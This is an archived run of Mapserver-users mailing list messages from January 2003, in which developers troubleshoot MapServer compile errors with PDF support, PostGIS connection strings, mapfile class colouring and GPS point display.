> >>>> > >>>>>Randy - > >>>>> > >>>>>Can you describe exactly what you did > >>>> > >>differently > >> > >>>>>between those two images? > >>>>> > >>>> > >>>>Well the difference is: > >>>>the tif that does not work has: a 256 RGB, > >>>>colorinterp=palette, is projected on the fly, > >>> > >>and > >> > >>>is a > >>> > >>>>newer version of an orthophoto. > >>>>I have used tiff2bw and gdal_translate to make > >>> > >>it > >> > >>>>grayscale, so i have a few versions of the file > >>> > >>>(5), > >>> > >>>>and all make the same error. > >>> > >>>Randy, > >>> > >>>I haven't been following this issue closely, but > >> > >>if > >> > >>>the problem occurs in > >>>3.7 and if you can prepare a small test case that > >>>demonstrates the problem > >>>just using "shp2img" then please file it in > >> > >>bugzilla > >> > >>>(attaching the small > >>>sample map file and data file(s)) and assign to > >> > >>me. > >> > >>>Best regards, > >>> > >>>-- > >>> > >> > > > ---------------------------------------+-------------------------------------- > > > >>>I set the clouds in motion - turn up | Frank > >>>Warmerdam, warmerdam at pobox.com > >>>light and sound - activate the windows | > >>>http://pobox.com/~warmerdam > >>>and watch the world go round - Rush | > >> > >>Geospatial > >> > >>>Programmer for Rent > >>> > >>> > >> > >> > >>__________________________________________________ > >>Do you Yahoo!? > >>Yahoo! Mail Plus - Powerful. Affordable. Sign up > >>now. > >>http://mailplus.yahoo.com > >>_______________________________________________ > >>Mapserver-users mailing list > >>Mapserver-users at lists.gis.umn.edu > >> > > > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > > __________________________________________________ > > Do you Yahoo!? > > Yahoo! Mail Plus - Powerful. Affordable. Sign up > now. > > http://mailplus.yahoo.com > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > -- > ************************************************ > Dylan Keon > GIS/Database Research Specialist > Northwest Alliance for Computational > Science and Engineering (NACSE) > Oregon State University > Corvallis, OR 97331 > keon at nacse.org (541) 737-6608 > ************************************************ > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com From mcilhagga at dmsolutions.ca Wed Jan 29 15:51:33 2003 From: mcilhagga at dmsolutions.ca (Dave McIlhagga) Date: Wed, 29 Jan 2003 18:51:33 -0500 Subject: [Mapserver-users] MapServer and ArcIMS conflicts References: <20030129184750.MXHW5675.mtiwmhc11.worldnet.att.net@mtiwebc20> <3E383011.E393F24@dmsolutions.ca> Message-ID: <3E386905.6080208@dmsolutions.ca> Daniel Morissette wrote: > jkrumrie at att.net wrote: > >> Are there any conflict issues to consider when installing ArcIMS on the same >>webserver (either Apache or IIS) as MapServer? Thanx. >> > > > Nope, I see no reason why both could not run on the same box and under > the same web server. > Except a conflict with your pocketbook ;) Dave -- Dave McIlhagga DM Solutions Group From morissette at dmsolutions.ca Wed Jan 29 15:52:12 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 29 Jan 2003 18:52:12 -0500 Subject: [Mapserver-users] error compiling --with-pdf References: <3E3778EE.3060306@nacse.org> Message-ID: <3E38692C.11BA8C09@dmsolutions.ca> Dylan Keon wrote: > > I'm getting the "/usr/bin/ld: cannot find -lPDF" error when trying to > compile 3.7 CVS --with-pdf=/opt/apps. libpdf.a and libpdf.so are under > /opt/apps/lib, and /opt/apps/lib is already listed in /etc/ld.so.conf. > And ldconfig has been run. > Does the link command include -L/opt/apps/lib ? If it doesn't then perhaps there is a configure or Makefile problem for the PDF option. Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From keon at nacse.org Wed Jan 29 16:58:32 2003 From: keon at nacse.org (Dylan Keon) Date: Wed, 29 Jan 2003 16:58:32 -0800 Subject: [Mapserver-users] error compiling --with-pdf References: <3E3778EE.3060306@nacse.org> <3E38692C.11BA8C09@dmsolutions.ca> Message-ID: <3E3878B8.4030205@nacse.org> Daniel Morissette wrote: > Dylan Keon wrote: > >>I'm getting the "/usr/bin/ld: cannot find -lPDF" error when trying to >>compile 3.7 CVS --with-pdf=/opt/apps. libpdf.a and libpdf.so are under >>/opt/apps/lib, and /opt/apps/lib is already listed in /etc/ld.so.conf. >>And ldconfig has been run. > > Does the link command include -L/opt/apps/lib ? If it doesn't then > perhaps there is a configure or Makefile problem for the PDF option. Here's the PDF section of the Makefile (I changed -lPDF to -lpdf, and added mappdf.o): PDF_INC= -I/opt/apps/include PDF_LIB= -L/opt/apps/lib -lpdf PDF= -DUSE_PDF PDF_OBJ= mappdf.o --------------------------------------------------------------- gcc -fPIC -g -O2 -Wall -DCOMPILE_DL=1 -DPHP4 -DENABLE_STDERR_DEBUG -DUSE_WMS_LYR -DUSE_WFS_LYR -DUSE_WFS_SVR -DUSE_WMS_SVR -DUSE_POSTGIS -DUSE_GDAL -DUSE_OGR -DUSE_THREAD -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_EPPL -DUSE_PDF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_JPEG -I/opt/src/ms_cvs_01-28-03 -I/opt/apps/include -I/opt/src/gdal-1.1.8/port -I/opt/src/gdal-1.1.8/core -I/opt/src/gdal-1.1.8/ogr -I/opt/src/gdal-1.1.8/ogr/ogrsf_frmts -I/opt/src/gdal-1.1.8/ogr/ogrsf_frmts -I/opt/src/gdal-1.1.8/ogr -I/opt/src/gdal-1.1.8/ogr/../port -I/opt/apps/include -I/opt/apps/include -I/opt/apps/include -I/opt/apps/include -I/opt/src/php-4.2.3 -I/opt/src/php-4.2.3/dl -I/opt/src/php-4.2.3/main -I/opt/src/php-4.2.3/Zend -I/opt/src/php-4.2.3/include -I/opt/src/php-4.2.3/TSRM -c -o mapscript_i.o mapscript_i.c /opt/src/ms_cvs_01-28-03/maptemplate.h:16: warning: `inchesPerUnit' defined but not used c++ -shared -o php_mapscript.so php_mapscript_util.o php_mapscript.o mapscript_i.o -L/opt/src/ms_cvs_01-28-03 -lmap -L/usr/lib -lcurl -lz -ldl -lz -L/opt/apps/lib -lpq -L/opt/src/gdal-1.1.8 -lgdal.1.1 -L/opt/apps -L/opt/apps/lib -ljpeg -L/opt/apps -L/opt/apps/lib -lpng -L/opt/apps -L/opt/apps -lz -lm -ldl -L/usr/local/lib -lm -lpthread -L/opt/apps/lib -lproj -L/opt/apps/lib -ljpeg -L/opt/apps/lib -lfreetype -L/opt/apps/lib -lpng -L/opt/apps/lib -lz -L/usr/X11R6/lib -lXpm -lX11 -L/opt/apps/lib -lPDF -L/opt/apps/lib -lgd -L/opt/apps/lib -ljpeg -L/opt/apps/lib -lfreetype -L/opt/apps/lib -lpng -L/opt/apps/lib -lz -L/usr/X11R6/lib -lXpm -lX11 -L/opt/apps/lib -ljpeg -lm /opt/src/gdal-1.1.8/ogr/ogrsf_frmts/ogrsf_frmts.a /opt/src/gdal-1.1.8/ogr/ogr.a /opt/src/gdal-1.1.8/ogr/../port/cpl.a /usr/bin/ld: cannot find -lPDF collect2: ld returned 1 exit status make[1]: *** [php_mapscript.so] Error 1 From ryanne.cruz at up.edu.ph Wed Jan 29 17:37:21 2003 From: ryanne.cruz at up.edu.ph (ryanne cruz) Date: Thu, 30 Jan 2003 09:37:21 +0800 Subject: [Mapserver-users] Maximum Num of Features? In-Reply-To: <3E4215C93D3CE24D84A9FF385DF88D87144879@afeb-ms-02> References: <3E4215C93D3CE24D84A9FF385DF88D87144879@afeb-ms-02> Message-ID: <1043890641.3e3881d1c5579@mail.up.edu.ph> we were able to make about 7 or 8 classes with different colors and we had no problem with it. the problem may not be with the number of classes with different color. Quoting "Antti.Roppola at brs.gov.au" : > Wouldn't that many colours also make it difficult to read > for people with less than average colour perception? > > Geologists are able to to that many classes, but they also > use stiples and other fill patterns. > > Antti > > > -----Original Message----- > From: Chris Hagwood [mailto:chagwood at ci.garner.nc.us] > Sent: Thursday, 30 January 2003 9:15 AM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] Maximum Num of Features? > > > I have a layer (police zones) that I would like to make colored so that it > each zone will stand out. When I try, it appears to choke mapserver. > > Here's the part from my .map file: > LAYER > NAME newzone > TYPE Polygon > STATUS off > DATA newdist > > CLASS > EXPRESSION '8300' > COLOR 243 137 139 > OUTLINECOLOR 0 0 0 > END # CLASS > > CLASS > EXPRESSION '8301' > COLOR 123 254 205 > OUTLINECOLOR 0 0 0 > END # CLASS > > #REPEAT for each zone > > CLASS > EXPRESSION '8412' > COLOR 40 128 60 > OUTLINECOLOR 0 0 0 > END # CLASS > END # LAYER > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From keon at nacse.org Wed Jan 29 17:31:29 2003 From: keon at nacse.org (Dylan Keon) Date: Wed, 29 Jan 2003 17:31:29 -0800 Subject: [Mapserver-users] Maximum Num of Features? References: <3E4215C93D3CE24D84A9FF385DF88D87144879@afeb-ms-02> <1043890641.3e3881d1c5579@mail.up.edu.ph> Message-ID: <3E388071.1030203@nacse.org> I'd say it's difficult for anyone to distinguish among 50+ colors. If you're using a scale-dependent layer it can work well (i.e., if you're zoomed in to just a few classes when the layer appears). But the legend is definitely hard to interpret with that many colors, regardless. >Wouldn't that many colours also make it difficult to read >for people with less than average colour perception? > >Geologists are able to to that many classes, but they also >use stiples and other fill patterns. > >Antti > >> >>-----Original Message----- >>From: Chris Hagwood [mailto:chagwood at ci.garner.nc.us] >>Sent: Thursday, 30 January 2003 9:15 AM >>To: mapserver-users at lists.gis.umn.edu >>Subject: [Mapserver-users] Maximum Num of Features? >> >> >>I have a layer (police zones) that I would like to make colored so that it >>each zone will stand out. When I try, it appears to choke mapserver. >> >>Here's the part from my .map file: >>LAYER >> NAME newzone >> TYPE Polygon >> STATUS off >> DATA newdist >> >> CLASS >> EXPRESSION '8300' >> COLOR 243 137 139 >> OUTLINECOLOR 0 0 0 >> END # CLASS >> >> CLASS >> EXPRESSION '8301' >> COLOR 123 254 205 >> OUTLINECOLOR 0 0 0 >> END # CLASS >> >> #REPEAT for each zone >> >> CLASS >> EXPRESSION '8412' >> COLOR 40 128 60 >> OUTLINECOLOR 0 0 0 >> END # CLASS >>END # LAYER >> From morissette at dmsolutions.ca Wed Jan 29 17:50:14 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 29 Jan 2003 20:50:14 -0500 Subject: [Mapserver-users] error compiling --with-pdf References: <3E3778EE.3060306@nacse.org> <3E38692C.11BA8C09@dmsolutions.ca> <3E3878B8.4030205@nacse.org> Message-ID: <3E3884D6.5468FF32@dmsolutions.ca> Dylan Keon wrote: > > Here's the PDF section of the Makefile (I changed -lPDF to -lpdf, and > added mappdf.o): > > PDF_INC= -I/opt/apps/include > PDF_LIB= -L/opt/apps/lib -lpdf > PDF= -DUSE_PDF > PDF_OBJ= mappdf.o > There were a few issues with the configure script when you were passing an explicit path to the --with-pdf switch. I fixed them in the 3.7 CVS and you should (hopefully) not have to edit the makefile any more. > c++ -shared -o php_mapscript.so > php_mapscript_util.o php_mapscript.o mapscript_i.o > -L/opt/src/ms_cvs_01-28-03 -lmap -L/usr/lib -lcurl -lz -ldl -lz > -L/opt/apps/lib -lpq -L/opt/src/gdal-1.1.8 -lgdal.1.1 -L/opt/apps > -L/opt/apps/lib -ljpeg -L/opt/apps -L/opt/apps/lib -lpng -L/opt/apps > -L/opt/apps -lz -lm -ldl -L/usr/local/lib -lm -lpthread > -L/opt/apps/lib -lproj -L/opt/apps/lib -ljpeg -L/opt/apps/lib > -lfreetype -L/opt/apps/lib -lpng -L/opt/apps/lib -lz -L/usr/X11R6/lib > -lXpm -lX11 -L/opt/apps/lib -lPDF -L/opt/apps/lib -lgd -L/opt/apps/lib > -ljpeg -L/opt/apps/lib -lfreetype -L/opt/apps/lib -lpng -L/opt/apps/lib > -lz -L/usr/X11R6/lib -lXpm -lX11 -L/opt/apps/lib -ljpeg -lm > /opt/src/gdal-1.1.8/ogr/ogrsf_frmts/ogrsf_frmts.a > /opt/src/gdal-1.1.8/ogr/ogr.a /opt/src/gdal-1.1.8/ogr/../port/cpl.a > /usr/bin/ld: cannot find -lPDF > collect2: ld returned 1 exit status > make[1]: *** [php_mapscript.so] Error 1 > Notice that the link command and the error message still refer to -lPDF in uppercase even though you edited the main makefile to use -lpdf. This is probably because you didn't edit the mapscript/php3/Makefile to apply the same change. Anyway, please get the latest configure and Makefile from CVS and give them a try. Your problems will probably go away. Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From bwragg at tpg.com.au Wed Jan 29 18:09:10 2003 From: bwragg at tpg.com.au (Benjamin Wragg) Date: Thu, 30 Jan 2003 12:39:10 +1030 Subject: [Mapserver-users] Error Parsing POSTGIS connection informatio n Message-ID: <000201c2c804$94884c60$0100a8c0@mapping12> This is a multi-part message in MIME format. ------=_NextPart_000_0003_01C2C85C.97169060 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Fire up cygwin and type the following: psql myGIDdb This should log you into the database using the default administrators credentials. Now type: \d This sould list all the tables that are in the database. There should be a geometry_columns, spatial_ref_sys table as a minimum. These are installed by PostGIS. Now type: select * from geometry_columns; This should list the contents of the geometry_columns table. If you've got this far without any problems it would seem that you've PostgreSQL and PostGIS are installed and working. There's some other things we can check e.g permissions, but let me know how you go with these steps. Cheers, Benjamin Wragg -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of christian.schuster at rsag.ch Sent: Thursday, 30 January 2003 3:38 AM To: Swaminathan, Gayathri Cc: mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] Error Parsing POSTGIS connection informatio n I tried now both connection settings ### Connect to a remote spatial database CONNECTION "user=*** password=**** dbname=myGISdb host=localhost port=5432" ### Connect to a remote spatial database CONNECTION "user=*** password=**** dbname=myGISdb host=127.0.01 port=5432" With the same error message. I am also not a Unix (Cygwin) expert. So, I am not absolutly sure if the PostgreSQL server is running right. Is there a possibility to check this? Well, if I type in ps at the shell I get three processes for PostgreSQL. "Swaminathan, Gayathri" 29.01.2003 17:58 To "'christian.schuster at rsag.ch'" cc Subject RE: [Mapserver-users] Error Parsing POSTGIS connection informatio n Try doing this instead...Hope that works for you LAYER CONNECTIONTYPE postgis NAME "points" ### Connect to a remote spatial database CONNECTION "user=*** password=**** dbname=myGISdb host=localhost port=5432" Gayathri Swaminathan Geo Information Systems University Of Oklahoma (405) 325 3131 x 237 (405) 904 4673 visit us @ http://geo.ou.edu ------------------------------------------------------ Work like you don't need money,love like you've never been hurt and, dance like no one's watching. ~Anon -----Original Message----- From: christian.schuster at rsag.ch [mailto:christian.schuster at rsag.ch] Sent: Wednesday, January 29, 2003 8:50 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Error Parsing POSTGIS connection information Hi list, I am a newbie an struggeling with getting GIS data from the database. I get the following error in the browser msPOSTGISLayerOpen(): Query error. Error parsing POSTGIS connection information. This is my layer definition: LAYER CONNECTIONTYPE postgis NAME "points" ### Connect to a remote spatial database CONNECTION "user=*** dbname=myGISdb host=127.0.0.1" ### Get the points from the 'col1' column of the 't1' table DATA "col1 from t1" STATUS ON TYPE POINT CLASS COLOR 255 0 0 END END ### end of layer definitions Any help is welcome. Christian Schuster Rudolf Schuster AG Postfach 277 CH - 3000 Bern 11 http://www.rsag.ch ++41 31 348 05 30 ------=_NextPart_000_0003_01C2C85C.97169060 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message
Fire=20 up cygwin and type the following:
 
psql=20 myGIDdb
 
This=20 should log you into the database using the default administrators = credentials.=20 Now type:
 
\d
 
This=20 sould list all the tables that are in the database. There should be a=20 geometry_columns, spatial_ref_sys table as a minimum. These are = installed by=20 PostGIS. Now type:
 
select=20 * from geometry_columns;
 
This=20 should list the contents of the geometry_columns = table.
 
If=20 you've got this far without any problems it would seem that you've = PostgreSQL=20 and PostGIS are installed and working. There's some=20 other things we can check e.g permissions, but let me know how you go = with these=20 steps.
 
Cheers,
 
Benjamin Wragg
 
 
-----Original = Message-----
From:=20 mapserver-users-admin at lists.gis.umn.edu=20 [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of=20 christian.schuster at rsag.ch
Sent: Thursday, 30 January 2003 = 3:38=20 AM
To: Swaminathan, Gayathri
Cc:=20 mapserver-users at lists.gis.umn.edu
Subject: RE: = [Mapserver-users] Error=20 Parsing POSTGIS connection informatio n


I tried=20 now both connection settings

### = Connect to a=20 remote spatial database
CONNECTION = "user=3D***=20 password=3D**** dbname=3DmyGISdb host=3Dlocalhost =  port=3D5432" =20

### Connect to a remote spatial database =
CONNECTION "user=3D*** password=3D**** = dbname=3DmyGISdb=20 host=3D127.0.01  port=3D5432" 

With the same error message.

I am also not a Unix (Cygwin) expert. So, I am not absolutly = sure if=20 the PostgreSQL server is running right. Is there a possibility to = check=20 this?
Well, if I type in = ps at the=20 shell I get three processes for PostgreSQL. =




"Swaminathan, Gayathri"=20 <gayathri at ou.edu>

29.01.2003 17:58

To
"'christian.schuster at rsag.ch'"=20 <christian.schuster at rsag.ch>=20
cc
Subject
RE: = [Mapserver-users]=20 Error Parsing POSTGIS connection informatio     =  =20  n

=




<= BR>Try  doing this instead...Hope that works for you
=
 
LAYER   =
  CONNECTIONTYPE postgis
 =20 NAME "points"  

  ### = Connect to=20 a remote spatial database
 =20  CONNECTION "user=3D*** password=3D**** dbname=3DmyGISdb = host=3Dlocalhost=20  port=3D5432" 



Gayathri=20 Swaminathan
Geo = Information=20 Systems
University Of=20  Oklahoma
(405) = 325 3131 x=20 237
(405) 904 = 4673
visit us @ http://geo.ou.edu =
------------------------------------------------------  
Work like you don't need = money,love=20 like
you've never been = hurt and,=20 dance like
no one's=20 watching.
~Anon  

  =

-----Original Message-----
From:=20 christian.schuster at rsag.ch =  [mailto:christian.schuster at rsag.ch]=20
Sent: Wednesday, January 29, 2003  8:50 = AM=20
To: mapserver-users at lists.gis.umn.edu =
Subject:  [Mapserver-users] Error Parsing POSTGIS = connection  information


Hi = list,=20

I am a  newbie an struggeling with = getting=20 GIS data from the database. I get the  following error in the = browser=20

msPOSTGISLayerOpen(): Query error. = Error=20 parsing POSTGIS connection  information.

This is my layer  definition:

LAYER
  = CONNECTIONTYPE=20 postgis
   NAME = "points"=20

  ### Connect to a  remote = spatial=20 database
  CONNECTION =  "user=3D***=20 dbname=3DmyGISdb host=3D127.0.0.1"

  ###=20 Get the points from the 'col1' column of the 't1'  table=20
  DATA "col1 from t1" =  =20
  STATUS ON
 =20  TYPE POINT

  CLASS =  
    COLOR 255 0 0   =  =20   
  END =
END
### end of layer=20  definitions

Any help is = welcome.=20  

Christian Schuster =

Rudolf Schuster  AG
Postfach = 277=20
CH - 3000 Bern 11

http://www.rsag.ch
++41 31 =  348 05=20 30
------=_NextPart_000_0003_01C2C85C.97169060-- From Antti.Roppola at brs.gov.au Wed Jan 29 18:30:23 2003 From: Antti.Roppola at brs.gov.au (Antti.Roppola at brs.gov.au) Date: Thu, 30 Jan 2003 13:30:23 +1100 Subject: [Mapserver-users] Maximum Num of Features? Message-ID: <3E4215C93D3CE24D84A9FF385DF88D8714487D@afeb-ms-02> Actually, I had a bit of an ulterior motive in posting. The orginal post reminded me of previous experience where things that looked OK to me were very difficult for red/green colour blind people to read. Working in a browser palette would maybe compound that; On the desk next to mine, there's an Adobe chart of "web-safe colours" that only lists 216 colours. Antti Ryanne wrote: > we were able to make about 7 or 8 classes with different colors and we had no > problem with it. the problem may not be with the number of classes with > different color. From christian.schuster at rsag.ch Wed Jan 29 21:37:30 2003 From: christian.schuster at rsag.ch (christian.schuster at rsag.ch) Date: Thu, 30 Jan 2003 06:37:30 +0100 Subject: [Mapserver-users] Error Parsing POSTGIS connection informatio n In-Reply-To: Message-ID: This is a multipart message in MIME format. --=_alternative 001EE6A8C1256CBE_= Content-Type: text/plain; charset="US-ASCII" ps -ef |grep postgres gives the folowing result $ ps -ef | grep postgres user 1044 1556 con 09:23:25 /usr/bin/postgres user 2028 1044 con 09:23:29 /usr/bin/postgres user 1628 2028 con 09:23:29 /usr/bin/postgres I am working on Win2000 station on which I have installed Cygwin. I do not really have a Linux server. I hope this will not be the problem. I just do not get where the problem really is. If it is PostgreSQL or PostGIS or MapServer. After I built MapServer I checked the capabilities of it which are $ ./mapserv -v MapServer version 3.6.3 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=TTF SUPPORTS=WMS_SERVER INPUT=EPPL7 INPUT=JPEG INPUT=POSTGIS INPUT=SHAPEFILE I also tried some geometric functions like area in Postgre SQL which worked fine. Therefore, I assume I have a problem in the Map file. I am really not sure what is the min I have to define in the Map file. The demo applikation is working fine and so I created my mapfile with parts from there. My map file looks like this right now: ################################################################################# ### Start of map file ### ################################################################################# MAP NAME "MapServer" STATUS ON SIZE 600 600 EXTENT 0 0 100 100 UNITS METERS #SHAPEPATH "data" IMAGECOLOR 255 255 255 IMAGETYPE JPG INTERLACE ON SYMBOLSET "symbols/symbols.sym" ############################################################################## ### Start of reference map ### ############################################################################## REFERENCE ### reference picture which must be a gif file acording to specs 3.6 ### this is WRONG !!! GD 1.8 and higher do not support gif anymore ### For me it worked with a jpg or png picture IMAGE "symbols/reference.png" EXTENT 0 0 100 100 SIZE 50 50 STATUS ON COLOR -1 -1 -1 OUTLINECOLOR 255 0 0 END ### end of reference ############################################################################## ### Start of web interface definition (including WMS enabling metadata) ### ############################################################################## WEB TEMPLATE demo.html MINSCALE 0 MAXSCALE 1000 IMAGEPATH "set in demo_init.html" # no change required IMAGEURL "set in demo_init.html" # no change required METADATA WMS_ACCESSCONSTRAINTS none ### change this value to match your setup WMS_ONLINERESOURCE "http://localhost:8300/chstest/demo.html" END END ### end of web ############################################################################## ### Start of layer definitions ### ############################################################################## LAYER CONNECTIONTYPE postgis NAME "points" ### Connect to a remote spatial database CONNECTION "user=*** dbname=myGISdb host=localhost port=5432" ### Get the points from the 'col1' column of the 't1' table DATA "col1 from t1" STATUS ON TYPE POINT CLASS COLOR 255 0 0 END END ### end of layer definitions END ### end of map File Christian Schuster Rudolf Schuster AG Postfach 277 CH - 3000 Bern 11 http://www.rsag.ch ++41 31 348 05 30 --=_alternative 001EE6A8C1256CBE_= Content-Type: text/html; charset="US-ASCII"
ps -ef  |grep postgres

gives the folowing result

$ ps -ef | grep postgres
    user    1044    1556 con  09:23:25 /usr/bin/postgres
    user    2028    1044 con  09:23:29 /usr/bin/postgres
    user    1628    2028 con  09:23:29 /usr/bin/postgres

I am working on Win2000 station on which I have installed Cygwin. I do not really have a Linux server. I hope this will not be the problem. I just do not get where the problem really is. If it is PostgreSQL or PostGIS or MapServer.

After I built MapServer I checked the capabilities of it which are

$ ./mapserv -v
MapServer version 3.6.3 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=TTF SUPPORTS=WMS_SERVER INPUT=EPPL7 INPUT=JPEG
INPUT=POSTGIS INPUT=SHAPEFILE

I also tried some geometric functions like area in Postgre SQL which worked fine. Therefore, I assume I have a problem in the Map file. I am really not sure what is the min I have to define in the Map file.
The demo applikation is working fine and so I created my mapfile with parts from there. My map file looks like this right now:

#################################################################################
### Start of map file                                                         ###
#################################################################################
MAP
  NAME "MapServer"
 
  STATUS ON
  SIZE 600 600
  EXTENT 0 0 100 100
  UNITS METERS
 
  #SHAPEPATH "data"
 
  IMAGECOLOR 255 255 255
  IMAGETYPE JPG
  INTERLACE ON
 
  SYMBOLSET "symbols/symbols.sym"

##############################################################################
### Start of reference map                                                 ###
##############################################################################
REFERENCE
  ### reference picture which must be a gif file acording to specs 3.6
  ### this is WRONG !!! GD 1.8 and higher do not support gif anymore
  ### For me it worked with a jpg or png picture
  IMAGE "symbols/reference.png"

  EXTENT 0 0 100 100
  SIZE 50 50
  STATUS ON
  COLOR -1 -1 -1
  OUTLINECOLOR 255 0 0
END ### end of reference

##############################################################################
### Start of web interface definition (including WMS enabling metadata)    ###
##############################################################################
WEB
  TEMPLATE   demo.html
  MINSCALE   0
  MAXSCALE   1000
  IMAGEPATH  "set in demo_init.html" # no change required
  IMAGEURL     "set in demo_init.html" # no change required
  METADATA
    WMS_ACCESSCONSTRAINTS none

    ### change this value to match your setup
    WMS_ONLINERESOURCE "http://localhost:8300/chstest/demo.html"
  END
END ### end of web
 
##############################################################################
### Start of layer definitions                                             ###
##############################################################################
LAYER
  CONNECTIONTYPE postgis
  NAME "points"

  ### Connect to a remote spatial database
  CONNECTION "user=*** dbname=myGISdb host=localhost port=5432"

  ### Get the points from the 'col1' column of the 't1' table
  DATA "col1 from t1"
  STATUS ON
  TYPE POINT

  CLASS
    COLOR 255 0 0      
  END
END
### end of layer definitions

END ### end of map File

Christian Schuster

Rudolf Schuster AG
Postfach 277
CH - 3000 Bern 11

http://www.rsag.ch
++41 31 348 05 30
--=_alternative 001EE6A8C1256CBE_=-- From keon at nacse.org Wed Jan 29 22:39:26 2003 From: keon at nacse.org (Dylan Keon) Date: Wed, 29 Jan 2003 22:39:26 -0800 Subject: [Mapserver-users] error compiling --with-pdf In-Reply-To: <3E3884D6.5468FF32@dmsolutions.ca> References: <3E3778EE.3060306@nacse.org> <3E38692C.11BA8C09@dmsolutions.ca> <3E3878B8.4030205@nacse.org> <3E3884D6.5468FF32@dmsolutions.ca> Message-ID: <3E38C89E.9000702@nacse.org> Daniel Morissette wrote: > There were a few issues with the configure script when you were passing > an explicit path to the --with-pdf switch. I fixed them in the 3.7 CVS > and you should (hopefully) not have to edit the makefile any more. Thanks. I grabbed the latest CVS and it compiled just fine using --with-pdf=/opt/apps. Didn't have to edit the Makefiles. > Notice that the link command and the error message still refer to -lPDF > in uppercase even though you edited the main makefile to use -lpdf. > This is probably because you didn't edit the mapscript/php3/Makefile to > apply the same change. That was my problem. I forgot about the mapscript/php3/Makefile :-) Thanks, Dylan From stepan.kafka at centrum.cz Wed Jan 29 23:49:41 2003 From: stepan.kafka at centrum.cz (Stepan Kafka) Date: Thu, 30 Jan 2003 08:49:41 +0100 Subject: [Mapserver-users] GPS In-Reply-To: <003c01c2c7c0$65bd53b0$cb75e7c8@afxtd2002311172> Message-ID: <001c01c2c834$25eb56f0$7e3c2fc3@HSGIS> This is a multi-part message in MIME format. ------=_NextPart_000_001D_01C2C83C.87B14590 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit Jo?o, there are severel approaches to do that, We use: 1. Communication program reading data from GPS, converting to needed coordinate system and then sending to Internet explorer (OLE or DDE) where location is shown in java applet above the Mapserver map. The advantage of this is that GPS cursor position may be *continuosly* moved on the screen without redrawing underlying map. 2. Sending position to server and storing it there (in relational database, shapefiles or text file) and independently creating Maserver map (e.g. using mapscript) to show these points. Advantage is enabling to show more GPS etc... You can use mapservers built-in projection mechanism to get cartographic coordinates. 3. Sending position to server with using inline features (GPS coordinates) and then getting map from mapserver. You can also use projection mechanism from mapserver here. Stepan Kafka Help Service Remote Sensing tel: +420-327514118 mailto:kafka at email.cz http://www.bnhelp.cz -----Puvodn? zpr?va----- Od: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]za u?ivatele Joao Paulo M. Claro Odesl?no: 29. ledna 2003 19:01 Komu: mapserver-users at lists.gis.umn.edu Predmet: [Mapserver-users] GPS Friends, I am developing an application, that from a position GPS, I must insert a point in the map and visualize the image of my cartographic base with this signaled point. Somebody could give a suggestion to me of as to make this? Thanks Jo?o Paulo ------=_NextPart_000_001D_01C2C83C.87B14590 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Jo=E3o,
  = there are=20 severel approaches to do that, We use:
1. = Communication=20 program reading data from GPS, converting to needed coordinate system = and then=20 sending to Internet explorer (OLE or DDE) where location is shown in = java applet=20 above the Mapserver map. The advantage of this is that GPS cursor = position may=20 be *continuosly* moved on the screen without redrawing underlying=20 map.
 
2. = Sending position=20 to server and storing it there (in relational database, shapefiles or = text file)=20 and independently creating Maserver map (e.g. using mapscript) to show = these=20 points. Advantage is enabling to show more GPS etc... You can use = mapservers=20 built-in projection mechanism to get cartographic=20 coordinates.
 
3. = Sending position=20 to server with using inline features (GPS coordinates) and then getting = map from=20 mapserver. You can also use projection mechanism from mapserver=20 here.
 

Stepan Kafka
Help=20 Service Remote Sensing
tel: +420-327514118
mailto:kafka at email.cz
http://www.bnhelp.cz=20

-----Původn=ED=20 zpr=E1va-----
Od: mapserver-users-admin at lists.gis.umn.edu=20 [mailto:mapserver-users-admin at lists.gis.umn.edu]za u=9Eivatele = Joăo Paulo=20 M. Claro
Odesl=E1no: 29. ledna 2003 19:01
Komu:=20 mapserver-users at lists.gis.umn.edu
Předmět: = [Mapserver-users]=20 GPS

Friends,
I=20 am developing an application, that from a position GPS, I must insert = a point=20 in the map and visualize the image of my cartographic base with this = signaled=20 point. Somebody could give a suggestion to me of as to make this? = Thanks Jo=E3o = Paulo
